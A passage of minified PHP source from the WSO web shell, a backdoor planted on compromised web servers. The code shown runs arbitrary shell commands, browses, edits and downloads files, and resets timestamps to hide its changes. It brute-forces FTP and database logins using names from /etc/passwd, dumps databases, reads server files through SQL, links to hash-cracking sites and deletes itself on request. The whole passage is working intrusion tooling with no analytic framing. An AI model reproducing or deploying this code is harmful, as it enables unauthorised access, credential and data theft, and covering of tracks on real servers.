hash'=>'md5','sha1 hash'=>'sha1','crypt'=>'crypt','CRC32'=>'crc32','ASCII to HEX'=>'ascii2hex','HEX to ASCII'=>'hex2ascii','HEX to DEC'=>'hexdec','HEX to BIN'=>'hex2bin','DEC to HEX'=>'dechex','DEC to BIN'=>'decbin','BIN to HEX'=>'binhex','BIN to DEC'=>'bindec','String to lower case'=>'strtolower','String to upper case'=>'strtoupper','Htmlspecialchars'=>'htmlspecialchars','String length'=>'strlen',);if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax',true);ob_start();if(in_array($_POST['p1'],$stringTools))echo$_POST['p1']($_POST['p2']);$temp="document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax',0);wsoHeader();echo'<h1>String conversions</h1><div class=content>';echo"<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";foreach($stringTools as$k=>$v)echo"<option value='".htmlspecialchars($v)."'>".$k."</option>";echo"</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";if(!empty($_POST['p1'])){if(in_array($_POST['p1'],$stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));}echo"</pre></div><br><h1>Search files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
			<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
			<tr><td>Path:</td><td><input type='text' name='cwd' value='".htmlspecialchars($GLOBALS['cwd'])."' style='width:100%'></td></tr>
			<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
			<tr><td></td><td><input type='submit' value='>>'></td></tr>
			</table></form>";function wsoRecursiveGlob($path){if(substr($path,-1)!='/')$path.='/';$paths=@array_unique(@array_merge(@glob($path.$_POST['p3']),@glob($path.'*',GLOB_ONLYDIR)));if(is_array($paths)&&@count($paths)){foreach($paths as$item){if(@is_dir($item)){if($path!=$item)wsoRecursiveGlob($item);}else{if(empty($_POST['p2'])||@strpos(file_get_contents($item),$_POST['p2'])!==false)echo"<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";}}}}if(@$_POST['p3'])wsoRecursiveGlob($_POST['c']);echo"</div><br><h1>Search for hash:</h1><div class=content>
		<form method='post' target='_blank' name='hf'>
			<input type='text' name='hash' style='width:200px;'><br>
            <input type='hidden' name='act' value='find'/>
			<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
			<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
            <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
		</form></div>";wsoFooter();}function actionFilesTools(){if(isset($_POST['p1']))$_POST['p1']=urldecode($_POST['p1']);if(@$_POST['p2']=='download'){$time=@filemtime($_SERVER['SCRIPT_FILENAME']);$timedir=@filemtime(dirname($_SERVER['SCRIPT_FILENAME']));if(@is_file($_POST['p1'])&&@is_readable($_POST['p1'])){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=".basename($_POST['p1']));if(function_exists("mime_content_type")){$type=@mime_content_type($_POST['p1']);header("Content-Type: ".$type);}else header("Content-Type: application/octet-stream");$fp=@fopen($_POST['p1'],"r");if($fp){while(!@feof($fp))echo @fread($fp,1024);fclose($fp);}}@touch($_POST['p1'],$time,$time);@touch(dirname($_SERVER['SCRIPT_FILENAME']),$timedir,$timedir);exit;}if(@$_POST['p2']=='mkfile'){if(!file_exists($_POST['p1'])){$time=@filemtime($_SERVER['SCRIPT_FILENAME']);$timedir=@filemtime(dirname($_SERVER['SCRIPT_FILENAME']));$fp=@fopen($_POST['p1'],'w');if($fp){$_POST['p2']="edit";fclose($fp);}@touch($_POST['p1'],$time,$time);@touch(dirname($_SERVER['SCRIPT_FILENAME']),$timedir,$timedir);}}wsoHeader();echo'<h1>File tools</h1><div class=content>';if(!file_exists(@$_POST['p1'])){echo'File not exists';wsoFooter();return;}$uid=@posix_getpwuid(@fileowner($_POST['p1']));if(!$uid){$uid['name']=@fileowner($_POST['p1']);$gid['name']=@filegroup($_POST['p1']);}else $gid=@posix_getgrgid(@filegroup($_POST['p1']));echo'<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';echo'<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';if(empty($_POST['p2']))$_POST['p2']='view';if(is_file($_POST['p1']))$m=array('View','Highlight','Download','Hexdump','Edit','Chmod','Rename','Touch');else $m=array('Chmod','Rename','Touch');foreach($m as$v)echo'<a href=# onclick="g(null,null,\''.urlencode($_POST['p1']).'\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';echo'<br><br>';switch($_POST['p2']){case 'view':echo'<pre class=ml1>';$time=@filemtime($_POST['p1']);$timedir=@filemtime(dirname($_POST['p1']));$fp=@fopen($_POST['p1'],'r');if($fp){while(!@feof($fp))echo htmlspecialchars(@fread($fp,1024),ENT_QUOTES,'windows-1251');@fclose($fp);}@touch($_POST['p1'],$time,$time);@touch(dirname($_POST['p1']),$timedir,$timedir);echo'</pre>';break;case 'highlight':if(@is_readable($_POST['p1'])){$time=@filemtime($_POST['p1']);$timedir=@filemtime(dirname($_POST['p1']));echo'<div class=ml1 style="background-color: #e1e1e1;color:black;">';$code=@highlight_file($_POST['p1'],true);echo str_replace(array('<span ','</span>'),array('<font ','</font>'),$code).'</div>';@touch($_POST['p1'],$time,$time);@touch(dirname($_POST['p1']),$timedir,$timedir);}break;case 'chmod':if(!empty($_POST['p3'])){$perms=0;for($i=strlen($_POST['p3'])-1;$i>=0;--$i)$perms+=(int)$_POST['p3'][$i]*pow(8,(strlen($_POST['p3'])-$i-1));$time=@filemtime($_POST['p1']);$timedir=@filemtime(dirname($_POST['p1']));if(!@chmod($_POST['p1'],$perms))echo'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';@touch($_POST['p1'],$time,$time);@touch(dirname($_POST['p1']),$timedir,$timedir);}clearstatcache();echo'<script>p3_="";</script><form onsubmit="g(null,null,\''.urlencode($_POST['p1']).'\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o',fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';break;case 'edit':$time=@filemtime($_POST['p1'])+1;$timedir=@filemtime(dirname($_POST['p1']))+1;if(!is_writable($_POST['p1'])){echo'File isn\'t writeable';break;}if(!empty($_POST['p3'])){$_POST['p3']=substr($_POST['p3'],1);$fp=@fopen($_POST['p1'],"w");if($fp){@fwrite($fp,$_POST['p3']);@fclose($fp);echo'Saved!<br><script>p3_="";</script>';}}echo'<form onsubmit="g(null,null,\''.urlencode($_POST['p1']).'\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';$fp=@fopen($_POST['p1'],'r');if($fp){while(!@feof($fp))echo htmlspecialchars(@fread($fp,1024),ENT_QUOTES,'windows-1251');@fclose($fp);}@touch($_POST['p1'],$time,$time);@touch(dirname($_POST['p1']),$timedir,$timedir);echo'</textarea><input type=submit value=">>"></form>';break;case 'hexdump':$time=@filemtime($_POST['p1']);$timedir=@filemtime(dirname($_POST['p1']));$c=@file_get_contents($_POST['p1']);@touch($_POST['p1'],$time,$time);@touch(dirname($_POST['p1']),$timedir,$timedir);$n=0;$h=array('00000000<br>','','');$len=strlen($c);for($i=0;$i<$len;++$i){$h[1].=sprintf('%02X',ord($c[$i])).' ';switch(ord($c[$i])):case 0:$h[2].=' ';break;case 9:$h[2].=' ';break;case 10:$h[2].=' ';break;case 13:$h[2].=' ';break;default:$h[2].=$c[$i];break;endswitch;$n++;if($n==32){$n=0;if($i+1<$len){$h[0].=sprintf('%08X',$i+1).'<br>';}$h[1].='<br>';$h[2].="
";}}echo'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';break;case 'rename':if(!empty($_POST['p3'])){$time=@filemtime($_POST['p1']);$timedir=@filemtime(dirname($_POST['p1']));$timedir2=@filemtime($_POST['c']);if(!@rename($_POST['p1'],$_POST['p3'])){echo'Can\'t rename!<br>';}else{@touch(dirname($_POST['p1']),$timedir,$timedir);@touch($_POST['p3'],$time,$time);@touch(dirname($_POST['p3']),$timedir,$timedir);@touch($_POST['c'],$timedir2,$timedir2);die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');}}echo'<form onsubmit="g(null,null,\''.urlencode($_POST['p1']).'\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';break;case 'touch':if(!empty($_POST['p3'])){$timedir=@filemtime(dirname($_POST['p1']));$time=strtotime($_POST['p3']);if($time){if(!touch($_POST['p1'],$time,$time))echo'Fail!';else echo'Touched!';}else echo'Bad time format!';@touch(dirname($_POST['p1']),$timedir,$timedir);}clearstatcache();echo'<script>p3_="";</script><form onsubmit="g(null,null,\''.urlencode($_POST['p1']).'\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s",@filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';break;}echo'</div>';wsoFooter();}function actionConsole(){if(!empty($_POST['p1'])&&!empty($_POST['p2'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out',true);$_POST['p1'].=' 2>&1';}elseif(!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out',0);if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax',true);ob_start();echo"d.cf.cmd.value='';
";$temp=@iconv($_POST['charset'],'UTF-8',addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"

	\'"));if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)){if(@chdir($match[1])){$GLOBALS['cwd']=@getcwd();echo"c_='".$GLOBALS['cwd']."';";}}echo"d.cf.output.value+='".$temp."';";echo"d.cf.output.scrollTop = d.cf.output.scrollHeight;";$temp=ob_get_clean();echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax',0);wsoHeader();echo"<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";echo'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';foreach($GLOBALS['aliases'] as$n=>$v){if($v==''){echo'<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';continue;}echo'<option value="'.htmlspecialchars($v).'">'.$n.'</option>';}echo'</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';if(!empty($_POST['p1'])){echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1']));}echo'</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';echo'</form></div><script>d.cf.cmd.focus();</script>';wsoFooter();}function actionLogout(){setcookie(md5($_SERVER['HTTP_HOST']),'',time()-3600);die('bye!');}function actionSelfRemove(){if($_POST['p1']=='yes')if(@unlink(preg_replace('!\(\d+\)\s.*!','',__FILE__)))die('Shell has been removed');else echo'unlink error!';if($_POST['p1']!='yes')wsoHeader();echo'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';wsoFooter();}function actionSelfTouch(){wsoHeader();$all_f=wsoScandir($GLOBALS['cwd']);unset($all_f[array_search(basename(__FILE__),$all_f)]);echo'<h1>Touch like</h1><div class=content>';echo'<form name=f_touch method=post>';echo'<pre><label><input type=checkbox name=tparent id=tparent><span style="margin-left: 3px;">Touch shell\'s directory</span></label></pre>';echo"<pre><input onclick=\"g('SelfTouch',null,f_touch.timestamp.value,document.getElementById('tparent').checked)\" type=button value='Touch!'></pre>";if($_POST['p1']){if(@touch(__FILE__,$_POST['p1'],$_POST['p1'])){echo('<p>Shell has been touched</p>');if($_POST['p2']=='true'){@touch(dirname(__FILE__),$_POST['p1'],$_POST['p1']);echo('<p>Shell\'s directory has been touched</p>');}}else{echo'<h1>Touch</h1><div class=content>Touch error!</div>';}}foreach($all_f as$some_f){$some_f_t=filectime($some_f);echo"<pre><label><input type=radio name='timestamp' value='".$some_f_t."'> ".'<b>'.$some_f.'</b>'.' - '.date("F d Y H:i:s.",filectime($some_f))."</label></pre>";}echo'</form>';echo'</div>';wsoFooter();}function actionBruteforce(){wsoHeader();if(isset($_POST['proto'])){echo'<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';if($_POST['proto']=='ftp'){function wsoBruteForce($ip,$port,$login,$pass){$fp=@ftp_connect($ip,$port?$port:21);if(!$fp)return false;$res=@ftp_login($fp,$login,$pass);@ftp_close($fp);return$res;}}elseif($_POST['proto']=='mysql'){function wsoBruteForce($ip,$port,$login,$pass){$res=@mysql_connect($ip.':'.($port?$port:3306),$login,$pass);@mysql_close($res);return$res;}}elseif($_POST['proto']=='pgsql'){function wsoBruteForce($ip,$port,$login,$pass){$str="host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";$res=@pg_connect($str);@pg_close($res);return$res;}}$success=0;$attempts=0;$server=explode(":",$_POST['server']);if($_POST['type']==1){$temp=@file('/etc/passwd');if(is_array($temp))foreach($temp as$line){$line=explode(":",$line);++$attempts;if(wsoBruteForce(@$server[0],@$server[1],$line[0],$line[0])){$success++;echo'<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';}if(@$_POST['reverse']){$tmp="";for($i=strlen($line[0])-1;$i>=0;--$i)$tmp.=$line[0][$i];++$attempts;if(wsoBruteForce(@$server[0],@$server[1],$line[0],$tmp)){$success++;echo'<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);}}}}elseif($_POST['type']==2){$temp=@file($_POST['dict']);if(is_array($temp))foreach($temp as$line){$line=trim($line);++$attempts;if(wsoBruteForce($server[0],@$server[1],$_POST['login'],$line)){$success++;echo'<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';}}}echo"<span>Attempts:</span> ".$attempts." <span>Success:</span> ".$success."</div><br>";}echo'<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'.'<span>Server:port</span></td>'.'<td><input type=text name=server value="127.0.0.1"></td></tr>'.'<tr><td><span>Brute type</span></td>'.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'.'<td><input type=text name=login value="root"></td></tr>'.'<tr><td><span>Dictionary</span></td>'.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';echo'</div><br>';wsoFooter();}function actionSql(){class DbClass{public$type;public$link;public$res;function DbClass($type){$this->type=$type;}function connect($host,$user,$pass,$dbname){switch($this->type){case 'mysql':if($this->link=@mysql_connect($host,$user,$pass,true))return true;break;case 'pgsql':$host=explode(':',$host);if(!$host[1])$host[1]=5432;if($this->link=@pg_connect("host=".$host[0]." port=".$host[1]." user=".$user." password=".$pass." dbname=".$dbname))return true;break;}return false;}function selectdb($db){switch($this->type){case 'mysql':if(@mysql_select_db($db))return true;break;}return false;}function query($str){switch($this->type){case 'mysql':return$this->res=@mysql_query($str);break;case 'pgsql':return$this->res=@pg_query($this->link,$str);break;}return false;}function fetch(){$res=func_num_args()?func_get_arg(0):$this->res;switch($this->type){case 'mysql':return @mysql_fetch_assoc($res);break;case 'pgsql':return @pg_fetch_assoc($res);break;}return false;}function listDbs(){switch($this->type){case 'mysql':return$this->query("SHOW databases");break;case 'pgsql':return$this->res=$this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");break;}return false;}function listTables(){switch($this->type){case 'mysql':return$this->res=$this->query('SHOW TABLES');break;case 'pgsql':return$this->res=$this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");break;}return false;}function error(){switch($this->type){case 'mysql':return @mysql_error();break;case 'pgsql':return @pg_last_error();break;}return false;}function setCharset($str){switch($this->type){case 'mysql':if(function_exists('mysql_set_charset'))return @mysql_set_charset($str,$this->link);else $this->query('SET CHARSET '.$str);break;case 'pgsql':return @pg_set_client_encoding($this->link,$str);break;}return false;}function loadFile($str){switch($this->type){case 'mysql':return$this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));break;case 'pgsql':$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");$r=array();while($i=$this->fetch())$r[]=$i['file'];$this->query('drop table wso2');return array('file'=>implode("
",$r));break;}return false;}function dump($table,$fp=false){switch($this->type){case 'mysql':$res=$this->query('SHOW CREATE TABLE `'.$table.'`');$create=mysql_fetch_array($res);$sql=$create[1].";
";if($fp)fwrite($fp,$sql);else echo($sql);$this->query('SELECT * FROM `'.$table.'`');$i=0;$head=true;while($item=$this->fetch()){$sql='';if($i%1000==0){$head=true;$sql=";

";}$columns=array();foreach($item as$k=>$v){if($v===null)$item[$k]="NULL";elseif(is_int($v))$item[$k]=$v;else $item[$k]="'".@mysql_real_escape_string($v)."'";$columns[]="`".$k."`";}if($head){$sql.='INSERT INTO `'.$table.'` ('.implode(", ",$columns).") VALUES 
	(".implode(", ",$item).')';$head=false;}else $sql.="
	,(".implode(", ",$item).')';if($fp)fwrite($fp,$sql);else echo($sql);$i++;}if(!$head)if($fp)fwrite($fp,";

");else echo(";

");break;case 'pgsql':$this->query('SELECT * FROM '.$table);while($item=$this->fetch()){$columns=array();foreach($item as$k=>$v){$item[$k]="'".addslashes($v)."'";$columns[]=$k;}$sql='INSERT INTO '.$table.' ('.implode(", ",$columns).') VALUES ('.implode(", ",$item).');'."
";if($fp)fwrite($fp,$sql);else echo($sql);}break;}return false;}};$db=new DbClass($_POST['type']);if((@$_POST['p2']=='download')&&(@$_POST['p1']!='select')){$db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base']);$db->selectdb($_POST['sql_base']);switch($_POST['charset']){case "Windows-1251":$db->setCharset('cp1251');break;case "UTF-8":$db->setCharset('utf8');break;case "KOI8-R":$db->setCharset('koi8r');break;case "KOI8-U":$db->setCharset('koi8u');break;case "cp866":$db->setCharset('cp866');break;}if(empty($_POST['file'])){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=dump.sql");header("Content-Type: text/plain");foreach($_POST['tbl'] as$v)$db->dump($v);exit;}elseif($fp=@fopen($_POST['file'],'w')){foreach($_POST['tbl'] as$v)$db->dump($v,$fp);fclose($fp);unset($_POST['p2']);}else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');}wsoHeader();echo"
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='".htmlspecialchars($GLOBALS['cwd'])."'><input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'')."'>
<td><select name='type'><option value='mysql' ";if(@$_POST['type']=='mysql')echo'selected';echo">MySql</option><option value='pgsql' ";if(@$_POST['type']=='pgsql')echo'selected';echo">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"".(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']))."\"></td>
<td><input type=text name=sql_login value=\"".(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']))."\"></td>
<td><input type=text name=sql_pass value=\"".(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']))."\"></td><td>";$tmp="<input type=text name=sql_base value=''>";if(isset($_POST['sql_host'])){if($db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base'])){switch($_POST['charset']){case "Windows-1251":$db->setCharset('cp1251');break;case "UTF-8":$db->setCharset('utf8');break;case "KOI8-R":$db->setCharset('koi8r');break;case "KOI8-U":$db->setCharset('koi8u');break;case "cp866":$db->setCharset('cp866');break;}$db->listDbs();echo"<select name=sql_base><option value=''></option>";while($item=$db->fetch()){list($key,$value)=each($item);echo'<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';}echo'</select>';}else echo$tmp;}else echo$tmp;echo"</td>
				<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'".(empty($_POST['sql_count'])?'':' checked')."> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db='".@addslashes($_POST['sql_base'])."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
			function st(t,l) {
				d.sf.p1.value = 'select';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}
		</script>";if(isset($db)&&$db->link){echo"<br/><table width=100% cellpadding=2 cellspacing=0>";if(!empty($_POST['sql_base'])){$db->selectdb($_POST['sql_base']);echo"<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";$tbls_res=$db->listTables();while($item=$db->fetch($tbls_res)){list($key,$value)=each($item);if(!empty($_POST['sql_count']))$n=$db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));$value=htmlspecialchars($value);echo"<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>".(empty($_POST['sql_count'])?'&nbsp;':" <small>(".$n['n'].")</small>")."</nobr><br>";}echo"<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";if(@$_POST['p1']=='select'){$_POST['p1']='query';$_POST['p3']=$_POST['p3']?$_POST['p3']:1;$db->query('SELECT COUNT(*) as n FROM '.$_POST['p2']);$num=$db->fetch();$pages=ceil($num['n']/30);echo"<script>d.sf.onsubmit=function(){st(\"".$_POST['p2']."\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> (".$num['n']." records) Page # <input type=text name='p3' value=".((int)$_POST['p3']).">";echo" of ".$pages;if($_POST['p3']>1)echo" <a href=# onclick='st(\"".$_POST['p2'].'", '.($_POST['p3']-1).")'>&lt; Prev</a>";if($_POST['p3']<$pages)echo" <a href=# onclick='st(\"".$_POST['p2'].'", '.($_POST['p3']+1).")'>Next &gt;</a>";$_POST['p3']--;if($_POST['type']=='pgsql')$_POST['p2']='SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);else $_POST['p2']='SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';echo"<br><br>";}if((@$_POST['p1']=='query')&&!empty($_POST['p2'])){$db->query(@$_POST['p2']);if($db->res!==false){$title=false;echo'<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';$line=1;while($item=$db->fetch()){if(!$title){echo'<tr>';foreach($item as$key=>$value)echo'<th>'.$key.'</th>';reset($item);$title=true;echo'</tr><tr>';$line=2;}echo'<tr class="l'.$line.'">';$line=$line==1?2:1;foreach($item as$key=>$value){if($value==null)echo'<td><i>null</i></td>';else echo'<td>'.nl2br(htmlspecialchars($value)).'</td>';}echo'</tr>';}echo'</table>';}else{echo'<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';}}echo"<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";if(!empty($_POST['p2'])&&($_POST['p1']!='loadfile'))echo htmlspecialchars($_POST['p2']);echo"</textarea><br/><input type=submit value='Execute'>";echo"</td></tr>";}echo"</table></form><br/>";if($_POST['type']=='mysql'){$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");if($db->fetch())echo"<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";}if(@$_POST['p1']=='loadfile'){$file=$db->loadFile($_POST['p2']);echo'<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';}}else{echo htmlspecialchars($db->error());}echo'</div>';wsoFooter();}function 